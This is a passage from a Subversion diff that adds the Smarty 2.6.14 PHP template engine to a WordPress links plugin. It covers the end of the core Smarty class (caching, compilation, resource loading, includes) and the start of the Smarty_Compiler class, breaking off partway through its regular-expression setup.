+        $_smarty_old_error_level = $this->debugging ? error_reporting() : error_reporting(isset($this->error_reporting)
+               ? $this->error_reporting : error_reporting() & ~E_NOTICE);
+
+        if (!$this->debugging && $this->debugging_ctrl == 'URL') {
+            $_query_string = $this->request_use_auto_globals ? $_SERVER['QUERY_STRING'] : $GLOBALS['HTTP_SERVER_VARS']['QUERY_STRING'];
+            if (@strstr($_query_string, $this->_smarty_debug_id)) {
+                if (@strstr($_query_string, $this->_smarty_debug_id . '=on')) {
+                    // enable debugging for this browser session
+                    @setcookie('SMARTY_DEBUG', true);
+                    $this->debugging = true;
+                } elseif (@strstr($_query_string, $this->_smarty_debug_id . '=off')) {
+                    // disable debugging for this browser session
+                    @setcookie('SMARTY_DEBUG', false);
+                    $this->debugging = false;
+                } else {
+                    // enable debugging for this page
+                    $this->debugging = true;
+                }
+            } else {
+                $this->debugging = (bool)($this->request_use_auto_globals ? @$_COOKIE['SMARTY_DEBUG'] : @$GLOBALS['HTTP_COOKIE_VARS']['SMARTY_DEBUG']);
+            }
+        }
+
+        if ($this->debugging) {
+            // capture time for debugging info
+            $_params = array();
+            require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+            $_debug_start_time = smarty_core_get_microtime($_params, $this);
+            $this->_smarty_debug_info[] = array('type'      => 'template',
+                                                'filename'  => $resource_name,
+                                                'depth'     => 0);
+            $_included_tpls_idx = count($this->_smarty_debug_info) - 1;
+        }
+
+        if (!isset($compile_id)) {
+            $compile_id = $this->compile_id;
+        }
+
+        $this->_compile_id = $compile_id;
+        $this->_inclusion_depth = 0;
+
+        if ($this->caching) {
+            // save old cache_info, initialize cache_info
+            array_push($_cache_info, $this->_cache_info);
+            $this->_cache_info = array();
+            $_params = array(
+                'tpl_file' => $resource_name,
+                'cache_id' => $cache_id,
+                'compile_id' => $compile_id,
+                'results' => null
+            );
+            require_once(SMARTY_CORE_DIR . 'core.read_cache_file.php');
+            if (smarty_core_read_cache_file($_params, $this)) {
+                $_smarty_results = $_params['results'];
+                if (!empty($this->_cache_info['insert_tags'])) {
+                    $_params = array('plugins' => $this->_cache_info['insert_tags']);
+                    require_once(SMARTY_CORE_DIR . 'core.load_plugins.php');
+                    smarty_core_load_plugins($_params, $this);
+                    $_params = array('results' => $_smarty_results);
+                    require_once(SMARTY_CORE_DIR . 'core.process_cached_inserts.php');
+                    $_smarty_results = smarty_core_process_cached_inserts($_params, $this);
+                }
+                if (!empty($this->_cache_info['cache_serials'])) {
+                    $_params = array('results' => $_smarty_results);
+                    require_once(SMARTY_CORE_DIR . 'core.process_compiled_include.php');
+                    $_smarty_results = smarty_core_process_compiled_include($_params, $this);
+                }
+
+
+                if ($display) {
+                    if ($this->debugging)
+                    {
+                        // capture time for debugging info
+                        $_params = array();
+                        require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+                        $this->_smarty_debug_info[$_included_tpls_idx]['exec_time'] = smarty_core_get_microtime($_params, $this) - $_debug_start_time;
+                        require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');
+                        $_smarty_results .= smarty_core_display_debug_console($_params, $this);
+                    }
+                    if ($this->cache_modified_check) {
+                        $_server_vars = ($this->request_use_auto_globals) ? $_SERVER : $GLOBALS['HTTP_SERVER_VARS'];
+                        $_last_modified_date = @substr($_server_vars['HTTP_IF_MODIFIED_SINCE'], 0, strpos($_server_vars['HTTP_IF_MODIFIED_SINCE'], 'GMT') + 3);
+                        $_gmt_mtime = gmdate('D, d M Y H:i:s', $this->_cache_info['timestamp']).' GMT';
+                        if (@count($this->_cache_info['insert_tags']) == 0
+                            && !$this->_cache_serials
+                            && $_gmt_mtime == $_last_modified_date) {
+                            if (php_sapi_name()=='cgi')
+                                header('Status: 304 Not Modified');
+                            else
+                                header('HTTP/1.1 304 Not Modified');
+
+                        } else {
+                            header('Last-Modified: '.$_gmt_mtime);
+                            echo $_smarty_results;
+                        }
+                    } else {
+                            echo $_smarty_results;
+                    }
+                    error_reporting($_smarty_old_error_level);
+                    // restore initial cache_info
+                    $this->_cache_info = array_pop($_cache_info);
+                    return true;
+                } else {
+                    error_reporting($_smarty_old_error_level);
+                    // restore initial cache_info
+                    $this->_cache_info = array_pop($_cache_info);
+                    return $_smarty_results;
+                }
+            } else {
+                $this->_cache_info['template'][$resource_name] = true;
+                if ($this->cache_modified_check && $display) {
+                    header('Last-Modified: '.gmdate('D, d M Y H:i:s', time()).' GMT');
+                }
+            }
+        }
+
+        // load filters that are marked as autoload
+        if (count($this->autoload_filters)) {
+            foreach ($this->autoload_filters as $_filter_type => $_filters) {
+                foreach ($_filters as $_filter) {
+                    $this->load_filter($_filter_type, $_filter);
+                }
+            }
+        }
+
+        $_smarty_compile_path = $this->_get_compile_path($resource_name);
+
+        // if we just need to display the results, don't perform output
+        // buffering - for speed
+        $_cache_including = $this->_cache_including;
+        $this->_cache_including = false;
+        if ($display && !$this->caching && count($this->_plugins['outputfilter']) == 0) {
+            if ($this->_is_compiled($resource_name, $_smarty_compile_path)
+                    || $this->_compile_resource($resource_name, $_smarty_compile_path))
+            {
+                include($_smarty_compile_path);
+            }
+        } else {
+            ob_start();
+            if ($this->_is_compiled($resource_name, $_smarty_compile_path)
+                    || $this->_compile_resource($resource_name, $_smarty_compile_path))
+            {
+                include($_smarty_compile_path);
+            }
+            $_smarty_results = ob_get_contents();
+            ob_end_clean();
+
+            foreach ((array)$this->_plugins['outputfilter'] as $_output_filter) {
+                $_smarty_results = call_user_func_array($_output_filter[0], array($_smarty_results, &$this));
+            }
+        }
+
+        if ($this->caching) {
+            $_params = array('tpl_file' => $resource_name,
+                        'cache_id' => $cache_id,
+                        'compile_id' => $compile_id,
+                        'results' => $_smarty_results);
+            require_once(SMARTY_CORE_DIR . 'core.write_cache_file.php');
+            smarty_core_write_cache_file($_params, $this);
+            require_once(SMARTY_CORE_DIR . 'core.process_cached_inserts.php');
+            $_smarty_results = smarty_core_process_cached_inserts($_params, $this);
+
+            if ($this->_cache_serials) {
+                // strip nocache-tags from output
+                $_smarty_results = preg_replace('!(\{/?nocache\:[0-9a-f]{32}#\d+\})!s'
+                                                ,''
+                                                ,$_smarty_results);
+            }
+            // restore initial cache_info
+            $this->_cache_info = array_pop($_cache_info);
+        }
+        $this->_cache_including = $_cache_including;
+
+        if ($display) {
+            if (isset($_smarty_results)) { echo $_smarty_results; }
+            if ($this->debugging) {
+                // capture time for debugging info
+                $_params = array();
+                require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+                $this->_smarty_debug_info[$_included_tpls_idx]['exec_time'] = (smarty_core_get_microtime($_params, $this) - $_debug_start_time);
+                require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');
+                echo smarty_core_display_debug_console($_params, $this);
+            }
+            error_reporting($_smarty_old_error_level);
+            return;
+        } else {
+            error_reporting($_smarty_old_error_level);
+            if (isset($_smarty_results)) { return $_smarty_results; }
+        }
+    }
+
+    /**
+     * load configuration values
+     *
+     * @param string $file
+     * @param string $section
+     * @param string $scope
+     */
+    function config_load($file, $section = null, $scope = 'global')
+    {
+        require_once($this->_get_plugin_filepath('function', 'config_load'));
+        smarty_function_config_load(array('file' => $file, 'section' => $section, 'scope' => $scope), $this);
+    }
+
+    /**
+     * return a reference to a registered object
+     *
+     * @param string $name
+     * @return object
+     */
+    function &get_registered_object($name) {
+        if (!isset($this->_reg_objects[$name]))
+        $this->_trigger_fatal_error("'$name' is not a registered object");
+
+        if (!is_object($this->_reg_objects[$name][0]))
+        $this->_trigger_fatal_error("registered '$name' is not an object");
+
+        return $this->_reg_objects[$name][0];
+    }
+
+    /**
+     * clear configuration values
+     *
+     * @param string $var
+     */
+    function clear_config($var = null)
+    {
+        if(!isset($var)) {
+            // clear all values
+            $this->_config = array(array('vars'  => array(),
+                                         'files' => array()));
+        } else {
+            unset($this->_config[0]['vars'][$var]);
+        }
+    }
+
+    /**
+     * get filepath of requested plugin
+     *
+     * @param string $type
+     * @param string $name
+     * @return string|false
+     */
+    function _get_plugin_filepath($type, $name)
+    {
+        $_params = array('type' => $type, 'name' => $name);
+        require_once(SMARTY_CORE_DIR . 'core.assemble_plugin_filepath.php');
+        return smarty_core_assemble_plugin_filepath($_params, $this);
+    }
+
+   /**
+     * test if resource needs compiling
+     *
+     * @param string $resource_name
+     * @param string $compile_path
+     * @return boolean
+     */
+    function _is_compiled($resource_name, $compile_path)
+    {
+        if (!$this->force_compile && file_exists($compile_path)) {
+            if (!$this->compile_check) {
+                // no need to check compiled file
+                return true;
+            } else {
+                // get file source and timestamp
+                $_params = array('resource_name' => $resource_name, 'get_source'=>false);
+                if (!$this->_fetch_resource_info($_params)) {
+                    return false;
+                }
+                if ($_params['resource_timestamp'] <= filemtime($compile_path)) {
+                    // template not expired, no recompile
+                    return true;
+                } else {
+                    // compile template
+                    return false;
+                }
+            }
+        } else {
+            // compiled template does not exist, or forced compile
+            return false;
+        }
+    }
+
+   /**
+     * compile the template
+     *
+     * @param string $resource_name
+     * @param string $compile_path
+     * @return boolean
+     */
+    function _compile_resource($resource_name, $compile_path)
+    {
+
+        $_params = array('resource_name' => $resource_name);
+        if (!$this->_fetch_resource_info($_params)) {
+            return false;
+        }
+
+        $_source_content = $_params['source_content'];
+        $_cache_include    = substr($compile_path, 0, -4).'.inc';
+
+        if ($this->_compile_source($resource_name, $_source_content, $_compiled_content, $_cache_include)) {
+            // if a _cache_serial was set, we also have to write an include-file:
+            if ($this->_cache_include_info) {
+                require_once(SMARTY_CORE_DIR . 'core.write_compiled_include.php');
+                smarty_core_write_compiled_include(array_merge($this->_cache_include_info, array('compiled_content'=>$_compiled_content, 'resource_name'=>$resource_name)),  $this);
+            }
+
+            $_params = array('compile_path'=>$compile_path, 'compiled_content' => $_compiled_content);
+            require_once(SMARTY_CORE_DIR . 'core.write_compiled_resource.php');
+            smarty_core_write_compiled_resource($_params, $this);
+
+            return true;
+        } else {
+            return false;
+        }
+
+    }
+
+   /**
+     * compile the given source
+     *
+     * @param string $resource_name
+     * @param string $source_content
+     * @param string $compiled_content
+     * @return boolean
+     */
+    function _compile_source($resource_name, &$source_content, &$compiled_content, $cache_include_path=null)
+    {
+        if (file_exists(SMARTY_DIR . $this->compiler_file)) {
+            require_once(SMARTY_DIR . $this->compiler_file);
+        } else {
+            // use include_path
+            require_once($this->compiler_file);
+        }
+
+
+        $smarty_compiler = new $this->compiler_class;
+
+        $smarty_compiler->template_dir      = $this->template_dir;
+        $smarty_compiler->compile_dir       = $this->compile_dir;
+        $smarty_compiler->plugins_dir       = $this->plugins_dir;
+        $smarty_compiler->config_dir        = $this->config_dir;
+        $smarty_compiler->force_compile     = $this->force_compile;
+        $smarty_compiler->caching           = $this->caching;
+        $smarty_compiler->php_handling      = $this->php_handling;
+        $smarty_compiler->left_delimiter    = $this->left_delimiter;
+        $smarty_compiler->right_delimiter   = $this->right_delimiter;
+        $smarty_compiler->_version          = $this->_version;
+        $smarty_compiler->security          = $this->security;
+        $smarty_compiler->secure_dir        = $this->secure_dir;
+        $smarty_compiler->security_settings = $this->security_settings;
+        $smarty_compiler->trusted_dir       = $this->trusted_dir;
+        $smarty_compiler->use_sub_dirs      = $this->use_sub_dirs;
+        $smarty_compiler->_reg_objects      = &$this->_reg_objects;
+        $smarty_compiler->_plugins          = &$this->_plugins;
+        $smarty_compiler->_tpl_vars         = &$this->_tpl_vars;
+        $smarty_compiler->default_modifiers = $this->default_modifiers;
+        $smarty_compiler->compile_id        = $this->_compile_id;
+        $smarty_compiler->_config            = $this->_config;
+        $smarty_compiler->request_use_auto_globals  = $this->request_use_auto_globals;
+
+        if (isset($cache_include_path) && isset($this->_cache_serials[$cache_include_path])) {
+            $smarty_compiler->_cache_serial = $this->_cache_serials[$cache_include_path];
+        }
+        $smarty_compiler->_cache_include = $cache_include_path;
+
+
+        $_results = $smarty_compiler->_compile_file($resource_name, $source_content, $compiled_content);
+
+        if ($smarty_compiler->_cache_serial) {
+            $this->_cache_include_info = array(
+                'cache_serial'=>$smarty_compiler->_cache_serial
+                ,'plugins_code'=>$smarty_compiler->_plugins_code
+                ,'include_file_path' => $cache_include_path);
+
+        } else {
+            $this->_cache_include_info = null;
+
+        }
+
+        return $_results;
+    }
+
+    /**
+     * Get the compile path for this resource
+     *
+     * @param string $resource_name
+     * @return string results of {@link _get_auto_filename()}
+     */
+    function _get_compile_path($resource_name)
+    {
+        return $this->_get_auto_filename($this->compile_dir, $resource_name,
+                                         $this->_compile_id) . '.php';
+    }
+
+    /**
+     * fetch the template info. Gets timestamp, and source
+     * if get_source is true
+     *
+     * sets $source_content to the source of the template, and
+     * $resource_timestamp to its time stamp
+     * @param string $resource_name
+     * @param string $source_content
+     * @param integer $resource_timestamp
+     * @param boolean $get_source
+     * @param boolean $quiet
+     * @return boolean
+     */
+
+    function _fetch_resource_info(&$params)
+    {
+        if(!isset($params['get_source'])) { $params['get_source'] = true; }
+        if(!isset($params['quiet'])) { $params['quiet'] = false; }
+
+        $_return = false;
+        $_params = array('resource_name' => $params['resource_name']) ;
+        if (isset($params['resource_base_path']))
+            $_params['resource_base_path'] = $params['resource_base_path'];
+        else
+            $_params['resource_base_path'] = $this->template_dir;
+
+        if ($this->_parse_resource_name($_params)) {
+            $_resource_type = $_params['resource_type'];
+            $_resource_name = $_params['resource_name'];
+            switch ($_resource_type) {
+                case 'file':
+                    if ($params['get_source']) {
+                        $params['source_content'] = $this->_read_file($_resource_name);
+                    }
+                    $params['resource_timestamp'] = filemtime($_resource_name);
+                    $_return = is_file($_resource_name);
+                    break;
+
+                default:
+                    // call resource functions to fetch the template source and timestamp
+                    if ($params['get_source']) {
+                        $_source_return = isset($this->_plugins['resource'][$_resource_type]) &&
+                            call_user_func_array($this->_plugins['resource'][$_resource_type][0][0],
+                                                 array($_resource_name, &$params['source_content'], &$this));
+                    } else {
+                        $_source_return = true;
+                    }
+
+                    $_timestamp_return = isset($this->_plugins['resource'][$_resource_type]) &&
+                        call_user_func_array($this->_plugins['resource'][$_resource_type][0][1],
+                                             array($_resource_name, &$params['resource_timestamp'], &$this));
+
+                    $_return = $_source_return && $_timestamp_return;
+                    break;
+            }
+        }
+
+        if (!$_return) {
+            // see if we can get a template with the default template handler
+            if (!empty($this->default_template_handler_func)) {
+                if (!is_callable($this->default_template_handler_func)) {
+                    $this->trigger_error("default template handler function \"$this->default_template_handler_func\" doesn't exist.");
+                } else {
+                    $_return = call_user_func_array(
+                        $this->default_template_handler_func,
+                        array($_params['resource_type'], $_params['resource_name'], &$params['source_content'], &$params['resource_timestamp'], &$this));
+                }
+            }
+        }
+
+        if (!$_return) {
+            if (!$params['quiet']) {
+                $this->trigger_error('unable to read resource: "' . $params['resource_name'] . '"');
+            }
+        } else if ($_return && $this->security) {
+            require_once(SMARTY_CORE_DIR . 'core.is_secure.php');
+            if (!smarty_core_is_secure($_params, $this)) {
+                if (!$params['quiet'])
+                    $this->trigger_error('(secure mode) accessing "' . $params['resource_name'] . '" is not allowed');
+                $params['source_content'] = null;
+                $params['resource_timestamp'] = null;
+                return false;
+            }
+        }
+        return $_return;
+    }
+
+
+    /**
+     * parse out the type and name from the resource
+     *
+     * @param string $resource_base_path
+     * @param string $resource_name
+     * @param string $resource_type
+     * @param string $resource_name
+     * @return boolean
+     */
+
+    function _parse_resource_name(&$params)
+    {
+
+        // split tpl_path by the first colon
+        $_resource_name_parts = explode(':', $params['resource_name'], 2);
+
+        if (count($_resource_name_parts) == 1) {
+            // no resource type given
+            $params['resource_type'] = $this->default_resource_type;
+            $params['resource_name'] = $_resource_name_parts[0];
+        } else {
+            if(strlen($_resource_name_parts[0]) == 1) {
+                // 1 char is not resource type, but part of filepath
+                $params['resource_type'] = $this->default_resource_type;
+                $params['resource_name'] = $params['resource_name'];
+            } else {
+                $params['resource_type'] = $_resource_name_parts[0];
+                $params['resource_name'] = $_resource_name_parts[1];
+            }
+        }
+
+        if ($params['resource_type'] == 'file') {
+            if (!preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $params['resource_name'])) {
+                // relative pathname to $params['resource_base_path']
+                // use the first directory where the file is found
+                foreach ((array)$params['resource_base_path'] as $_curr_path) {
+                    $_fullpath = $_curr_path . DIRECTORY_SEPARATOR . $params['resource_name'];
+                    if (file_exists($_fullpath) && is_file($_fullpath)) {
+                        $params['resource_name'] = $_fullpath;
+                        return true;
+                    }
+                    // didn't find the file, try include_path
+                    $_params = array('file_path' => $_fullpath);
+                    require_once(SMARTY_CORE_DIR . 'core.get_include_path.php');
+                    if(smarty_core_get_include_path($_params, $this)) {
+                        $params['resource_name'] = $_params['new_file_path'];
+                        return true;
+                    }
+                }
+                return false;
+            } else {
+                /* absolute path */
+                return file_exists($params['resource_name']);
+            }
+        } elseif (empty($this->_plugins['resource'][$params['resource_type']])) {
+            $_params = array('type' => $params['resource_type']);
+            require_once(SMARTY_CORE_DIR . 'core.load_resource_plugin.php');
+            smarty_core_load_resource_plugin($_params, $this);
+        }
+
+        return true;
+    }
+
+
+    /**
+     * Handle modifiers
+     *
+     * @param string|null $modifier_name
+     * @param array|null $map_array
+     * @return string result of modifiers
+     */
+    function _run_mod_handler()
+    {
+        $_args = func_get_args();
+        list($_modifier_name, $_map_array) = array_splice($_args, 0, 2);
+        list($_func_name, $_tpl_file, $_tpl_line) =
+            $this->_plugins['modifier'][$_modifier_name];
+
+        $_var = $_args[0];
+        foreach ($_var as $_key => $_val) {
+            $_args[0] = $_val;
+            $_var[$_key] = call_user_func_array($_func_name, $_args);
+        }
+        return $_var;
+    }
+
+    /**
+     * Remove starting and ending quotes from the string
+     *
+     * @param string $string
+     * @return string
+     */
+    function _dequote($string)
+    {
+        if ((substr($string, 0, 1) == "'" || substr($string, 0, 1) == '"') &&
+            substr($string, -1) == substr($string, 0, 1))
+            return substr($string, 1, -1);
+        else
+            return $string;
+    }
+
+
+    /**
+     * read in a file
+     *
+     * @param string $filename
+     * @return string
+     */
+    function _read_file($filename)
+    {
+        if ( file_exists($filename) && ($fd = @fopen($filename, 'rb')) ) {
+            $contents = '';
+            while (!feof($fd)) {
+                $contents .= fread($fd, 8192);
+            }
+            fclose($fd);
+            return $contents;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * get a concrete filename for automagically created content
+     *
+     * @param string $auto_base
+     * @param string $auto_source
+     * @param string $auto_id
+     * @return string
+     * @staticvar string|null
+     * @staticvar string|null
+     */
+    function _get_auto_filename($auto_base, $auto_source = null, $auto_id = null)
+    {
+        $_compile_dir_sep =  $this->use_sub_dirs ? DIRECTORY_SEPARATOR : '^';
+        $_return = $auto_base . DIRECTORY_SEPARATOR;
+
+        if(isset($auto_id)) {
+            // make auto_id safe for directory names
+            $auto_id = str_replace('%7C',$_compile_dir_sep,(urlencode($auto_id)));
+            // split into separate directories
+            $_return .= $auto_id . $_compile_dir_sep;
+        }
+
+        if(isset($auto_source)) {
+            // make source name safe for filename
+            $_filename = urlencode(basename($auto_source));
+            $_crc32 = sprintf('%08X', crc32($auto_source));
+            // prepend %% to avoid name conflicts with
+            // with $params['auto_id'] names
+            $_crc32 = substr($_crc32, 0, 2) . $_compile_dir_sep .
+                      substr($_crc32, 0, 3) . $_compile_dir_sep . $_crc32;
+            $_return .= '%%' . $_crc32 . '%%' . $_filename;
+        }
+
+        return $_return;
+    }
+
+    /**
+     * unlink a file, possibly using expiration time
+     *
+     * @param string $resource
+     * @param integer $exp_time
+     */
+    function _unlink($resource, $exp_time = null)
+    {
+        if(isset($exp_time)) {
+            if(time() - @filemtime($resource) >= $exp_time) {
+                return @unlink($resource);
+            }
+        } else {
+            return @unlink($resource);
+        }
+    }
+
+    /**
+     * returns an auto_id for auto-file-functions
+     *
+     * @param string $cache_id
+     * @param string $compile_id
+     * @return string|null
+     */
+    function _get_auto_id($cache_id=null, $compile_id=null) {
+    if (isset($cache_id))
+        return (isset($compile_id)) ? $cache_id . '|' . $compile_id  : $cache_id;
+    elseif(isset($compile_id))
+        return $compile_id;
+    else
+        return null;
+    }
+
+    /**
+     * trigger Smarty plugin error
+     *
+     * @param string $error_msg
+     * @param string $tpl_file
+     * @param integer $tpl_line
+     * @param string $file
+     * @param integer $line
+     * @param integer $error_type
+     */
+    function _trigger_fatal_error($error_msg, $tpl_file = null, $tpl_line = null,
+            $file = null, $line = null, $error_type = E_USER_ERROR)
+    {
+        if(isset($file) && isset($line)) {
+            $info = ' ('.basename($file).", line $line)";
+        } else {
+            $info = '';
+        }
+        if (isset($tpl_line) && isset($tpl_file)) {
+            $this->trigger_error('[in ' . $tpl_file . ' line ' . $tpl_line . "]: $error_msg$info", $error_type);
+        } else {
+            $this->trigger_error($error_msg . $info, $error_type);
+        }
+    }
+
+
+    /**
+     * callback function for preg_replace, to call a non-cacheable block
+     * @return string
+     */
+    function _process_compiled_include_callback($match) {
+        $_func = '_smarty_tplfunc_'.$match[2].'_'.$match[3];
+        ob_start();
+        $_func($this);
+        $_ret = ob_get_contents();
+        ob_end_clean();
+        return $_ret;
+    }
+
+
+    /**
+     * called for included templates
+     *
+     * @param string $_smarty_include_tpl_file
+     * @param string $_smarty_include_vars
+     */
+
+    // $_smarty_include_tpl_file, $_smarty_include_vars
+
+    function _smarty_include($params)
+    {
+        if ($this->debugging) {
+            $_params = array();
+            require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+            $debug_start_time = smarty_core_get_microtime($_params, $this);
+            $this->_smarty_debug_info[] = array('type'      => 'template',
+                                                  'filename'  => $params['smarty_include_tpl_file'],
+                                                  'depth'     => ++$this->_inclusion_depth);
+            $included_tpls_idx = count($this->_smarty_debug_info) - 1;
+        }
+
+        $this->_tpl_vars = array_merge($this->_tpl_vars, $params['smarty_include_vars']);
+
+        // config vars are treated as local, so push a copy of the
+        // current ones onto the front of the stack
+        array_unshift($this->_config, $this->_config[0]);
+
+        $_smarty_compile_path = $this->_get_compile_path($params['smarty_include_tpl_file']);
+
+
+        if ($this->_is_compiled($params['smarty_include_tpl_file'], $_smarty_compile_path)
+            || $this->_compile_resource($params['smarty_include_tpl_file'], $_smarty_compile_path))
+        {
+            include($_smarty_compile_path);
+        }
+
+        // pop the local vars off the front of the stack
+        array_shift($this->_config);
+
+        $this->_inclusion_depth--;
+
+        if ($this->debugging) {
+            // capture time for debugging info
+            $_params = array();
+            require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+            $this->_smarty_debug_info[$included_tpls_idx]['exec_time'] = smarty_core_get_microtime($_params, $this) - $debug_start_time;
+        }
+
+        if ($this->caching) {
+            $this->_cache_info['template'][$params['smarty_include_tpl_file']] = true;
+        }
+    }
+
+
+    /**
+     * get or set an array of cached attributes for function that is
+     * not cacheable
+     * @return array
+     */
+    function &_smarty_cache_attrs($cache_serial, $count) {
+        $_cache_attrs =& $this->_cache_info['cache_attrs'][$cache_serial][$count];
+
+        if ($this->_cache_including) {
+            /* return next set of cache_attrs */
+            $_return = current($_cache_attrs);
+            next($_cache_attrs);
+            return $_return;
+
+        } else {
+            /* add a reference to a new set of cache_attrs */
+            $_cache_attrs[] = array();
+            return $_cache_attrs[count($_cache_attrs)-1];
+
+        }
+
+    }
+
+
+    /**
+     * wrapper for include() retaining $this
+     * @return mixed
+     */
+    function _include($filename, $once=false, $params=null)
+    {
+        if ($once) {
+            return include_once($filename);
+        } else {
+            return include($filename);
+        }
+    }
+
+
+    /**
+     * wrapper for eval() retaining $this
+     * @return mixed
+     */
+    function _eval($code, $params=null)
+    {
+        return eval($code);
+    }
+    /**#@-*/
+
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/Smarty_Compiler.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/Smarty_Compiler.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/Smarty_Compiler.class.php	(revision 44)
@@ -0,0 +1,2316 @@
+<?php
+
+/**
+ * Project:     Smarty: the PHP compiling template engine
+ * File:        Smarty_Compiler.class.php
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ * @link http://smarty.php.net/
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @author Andrei Zmievski <andrei@php.net>
+ * @version 2.6.14
+ * @copyright 2001-2005 New Digital Group, Inc.
+ * @package Smarty
+ */
+
+/* $Id: Smarty_Compiler.class.php,v 1.381 2006/05/25 14:46:18 boots Exp $ */
+
+/**
+ * Template compiling class
+ * @package Smarty
+ */
+class Smarty_Compiler extends Smarty {
+
+    // internal vars
+    /**#@+
+     * @access private
+     */
+    var $_folded_blocks         =   array();    // keeps folded template blocks
+    var $_current_file          =   null;       // the current template being compiled
+    var $_current_line_no       =   1;          // line number for error messages
+    var $_capture_stack         =   array();    // keeps track of nested capture buffers
+    var $_plugin_info           =   array();    // keeps track of plugins to load
+    var $_init_smarty_vars      =   false;
+    var $_permitted_tokens      =   array('true','false','yes','no','on','off','null');
+    var $_db_qstr_regexp        =   null;        // regexps are setup in the constructor
+    var $_si_qstr_regexp        =   null;
+    var $_qstr_regexp           =   null;
+    var $_func_regexp           =   null;
+    var $_reg_obj_regexp        =   null;
+    var $_var_bracket_regexp    =   null;
+    var $_num_const_regexp      =   null;
+    var $_dvar_guts_regexp      =   null;
+    var $_dvar_regexp           =   null;
+    var $_cvar_regexp           =   null;
+    var $_svar_regexp           =   null;
+    var $_avar_regexp           =   null;
+    var $_mod_regexp            =   null;
+    var $_var_regexp            =   null;
+    var $_parenth_param_regexp  =   null;
+    var $_func_call_regexp      =   null;
+    var $_obj_ext_regexp        =   null;
+    var $_obj_start_regexp      =   null;
+    var $_obj_params_regexp     =   null;
+    var $_obj_call_regexp       =   null;
+    var $_cacheable_state       =   0;
+    var $_cache_attrs_count     =   0;
+    var $_nocache_count         =   0;
+    var $_cache_serial          =   null;
+    var $_cache_include         =   null;
+
+    var $_strip_depth           =   0;
+    var $_additional_newline    =   "\n";
+
+    /**#@-*/
+    /**
+     * The class constructor.
+     */
+    function Smarty_Compiler()
+    {
+        // matches double quoted strings:
+        // "foobar"
+        // "foo\"bar"
+        $this->_db_qstr_regexp = '"[^"\\\\]*(?:\\\\.[^"\\\\]*)*"';
+
+        // matches single quoted strings:
+        // 'foobar'
+        // 'foo\'bar'
+        $this->_si_qstr_regexp = '\'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\'';
+
+        // matches single or double quoted strings
+        $this->_qstr_regexp = '(?:' . $this->_db_qstr_regexp . '|' . $this->_si_qstr_regexp . ')';
+
+        // matches bracket portion of vars
+        // [0]
+        // [foo]
+        // [$bar]
+        $this->_var_bracket_regexp = '\[\$?[\w\.]+\]';
+
+        // matches numerical constants
+        // 30
+        // -12
+        // 13.22
+        $this->_num_const_regexp = '(?:\-?\d+(?:\.\d+)?)';
+
+        // matches $ vars (not objects):
+        // $foo
+        // $foo.bar
+        // $foo.bar.foobar
+        // $foo[0]
+        // $foo[$bar]
+        // $foo[5][blah]
+        // $foo[5].bar[$foobar][4]
+        $this->_dvar_math_regexp = '(?:[\+\*\/\%]|(?:-(?!>)))';
+        $this->_dvar_math_var_regexp = '[\$\w\.\+\-\*\/\%\d\>\[\]]';
+        $this->_dvar_guts_regexp = '\w+(?:' . $this->_var_bracket_regexp
+                . ')*(?:\.\$?\w+(?:' . $this->_var_bracket_regexp . ')*)*(?:' . $this->_dvar_math_regexp . '(?:' . $this->_num_const_regexp . '|' . $this->_dvar_math_var_regexp . ')*)?';
+        $this->_dvar_regexp = '\$' . $this->_dvar_guts_regexp;
+
+        // matches config vars:
+        // #foo#
+        // #foobar123_foo#
+        $this->_cvar_regexp = '\#\w+\#';
+
+        // matches section vars:
+        // %foo.bar%
+        $this->_svar_regexp = '\%\w+\.\w+\%';
+
+        // matches all valid variables (no quotes, no modifiers)
+        $this->_avar_regexp = '(?:' . $this->_dvar_regexp . '|'
+           . $this->_cvar_regexp . '|' . $this->_svar_regexp . ')';
+
+        // matches valid variable syntax:
+        // $foo
+        // $foo
+        // #foo#
+        // #foo#
+        // "text"
+        // "text"
+        $this->_var_regexp = '(?:' . $this->_avar_regexp . '|' . $this->_qstr_regexp . ')';
+
+        // matches valid object call (one level of object nesting allowed in parameters):
+        // $foo->bar
+        // $foo->bar()
+        // $foo->bar("text")
+        // $foo->bar($foo, $bar, "text")
+        // $foo->bar($foo, "foo")
+        // $foo->bar->foo()
+        // $foo->bar->foo->bar()
+        // $foo->bar($foo->bar)
+        // $foo->bar($foo->bar())
+        // $foo->bar($foo->bar($blah,$foo,44,"foo",$foo[0].bar))
+        $this->_obj_ext_regexp = '\->(?:\$?' . $this->_dvar_guts_regexp . ')';
+        $this->_obj_restricted_param_regexp = '(?:'
+                . '(?:' . $this->_var_regexp . '|' . $this->_num_const_regexp . ')(?:' . $this->_obj_ext_regexp . '(?:\((?:(?:' . $this->_var_regexp . '|' . $this->_num_const_regexp . ')'
+                . '(?:\s*,\s*(?:' . $this->_var_regexp . '|' . $this->_num_const_regexp . '))*)?\))?)*)';
+        $this->_obj_single_param_regexp = '(?:\w+|' . $this->_obj_restricted_param_regexp . '(?:\s*,\s*(?:(?:\w+|'
